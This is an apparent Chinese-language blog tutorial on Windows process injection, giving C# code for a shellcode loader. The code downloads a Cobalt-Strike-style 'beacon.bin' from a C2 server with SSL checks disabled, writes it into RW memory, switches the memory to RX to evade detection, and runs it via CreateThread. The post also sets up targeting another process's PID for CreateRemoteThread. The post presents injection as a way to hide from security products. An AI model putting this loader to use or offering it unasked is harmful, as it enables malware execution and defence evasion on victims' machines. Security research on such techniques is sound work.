首页 进程注入(一)
文章
取消

进程注入(一)

0X00 什么是进程注入

​ 进程注入技术一直以来都是一个老生常谈的话题。这是一种广泛应用于恶意软件和无文件攻击中的逃避技术,这意味着攻击者可以将自定义代码运行在另一个进程的地址空间内,然后去进行敏感操作,以达到隐藏自身,绕过安全产品检测的目的。

0X01 CreateThread API

CreateThread API可以在调用进程过程中创建新线程,因此我们可以把shellcode注入到进程中。这也是最简单和最基本的注入类型之一。

​ 我们可以使用HttpClient类从我们的C2下载shellcode。然后将其封装在using语句中或调用Dispose()方法。同时我们还必须使用ServerCertificateCustomValidationCallback来忽略签名SSL错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static async Task Main(string[] args)
{
    byte[] shellcode;

    using (var handler = new HttpClientHandler())
    {
        //忽略ssl
        handler.ServerCertificateCustomValidationCallback = (message, cert, chain, sslPolicyErrors) => true;

        using (var client = new HttpClient(handler))
        {
            shellcode = await client.GetByteArrayAsync("https://192.168.2.151/beacon.bin");
        }
    }
}

​ 然后使用VirtualAlloc在此进程中分配新的内存区域。这个区域的空间大小必须能够容纳shellode,所以我们可以使用shellcode的长度作为参数。这个API通常会向上取整。(区域分配RW权限,以便避免RWX)。

1
2
3
4
5
6
// 将内存区域分配为RW
var baseAddress = Win32.VirtualAlloc(
    IntPtr.Zero,
    (uint)shellcode.Length,
    Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
    Win32.MemoryProtection.ReadWrite);

将shellcode复制到此区域,我们可以使用诸如WriteProcessMemory等API,这里以Marshal.Copy为例。

1
2
// 复制shellcode到内存区域
Marshal.Copy(shellcode, 0, baseAddress, shellcode.Length);

在我们运行shellcode之前,我们必须将这个区域的内存保护从RW转变为RX。因为VirtualProtect采用了新的内存保护,并会弹出当前的保护。这里使用_ 来处理它。

1
2
3
4
5
6
// 将内存区域转变为为RX
Win32.VirtualProtect(
    baseAddress,
    (uint)shellcode.Length,
    Win32.MemoryProtection.ExecuteRead,
    out _);

现在便可以运行我们的shellcode了

1
2
3
4
5
6
7
8
// 运行shellcode
var hThread = Win32.CreateThread(
    IntPtr.Zero,
    0,
    baseAddress,
    IntPtr.Zero,
    0,
    out _);

因为CreateThread不会阻塞调用,所以我们为了防止进程退出,我们可以使用WaitForSingleObject去wait这个线程。它将在线程运行期间进行阻塞,达到防止进程退出的目的。

1
2
// 在此线程上无限等待以防止进程退出
Win32.WaitForSingleObject(hThread, 0xFFFFFFFF);

结果如下:

0x02 CreateRemoteThread

CreateRemoteThread的行为方式与CreateThread大致相同,但是它允许我们在自己的进程之外的进程中启动线程。这可以让我们将shellcode注入到不同的进程中。注入步骤实际上与前面的大差不差,只是我们使用的API有所不同。

我们可以把某个进程的PID用作目标进程。要打开目标进程的句柄,可以使用OpenProcess API或.NETProcess类。

1
2
3
4
5
6
7
8
9
10
11
12
using System.Diagnostics;

namespace CreateRemoteThread
{
    internal class Program
    {
        static void Main(string[] args)
        {
            var process = Process.GetProcessById(1234);
        }
    }
}

当然,我们也可以手动选择我们要注入的PID

1
2
var pid = int.Parse(args[0]);
var process = Process.GetProcessById(pid);

这里我们以一个记事本为例,这里记事本的PID为96

运行后结果如下:

0x03 小结

​ 本文简单介绍了进程注入的知识,CreateThread和CreateRomoteTread在使用起来大同小异,实现的逻辑却有所不同。后面将会跟进一篇文章,继续介绍进程注入。

注:本文仅用于安全研究和学习之用

本文由作者按照 CC BY 4.0 进行授权